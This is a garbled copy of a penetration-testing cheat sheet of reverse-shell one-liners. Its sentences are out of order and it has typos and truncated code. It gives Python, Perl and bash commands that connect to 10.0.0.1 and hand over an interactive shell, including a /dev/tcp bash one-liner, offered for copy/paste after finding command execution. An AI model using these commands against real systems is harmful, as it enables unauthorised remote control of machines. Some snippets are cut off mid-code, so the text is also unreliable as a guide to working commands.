This code assumes that the TCP connection uses file descriptor 3. This was tested under Linux / Python 2.7: python -c 'import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.0.0.1',1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call() ' PHP There’s also an alternative PERL revere shell here. Here’s a shorter, feature-free version of the perl-reverse-shell: perl -e 'use Socket $i='10.0.0.1' $p=1234 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')) if(connect(S,sockaddr_in($p,inet_aton($i)))) ' Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 PERL As such they’re quite short lines, but not very readable. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.Įach of the methods below is aimed to be a one-liner that you can copy/paste. The examples shown are tailored to Unix-like systems. Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared. rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. If it’s not possible to add a new account / SSH key /. If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

Netcat reverse shell without netcat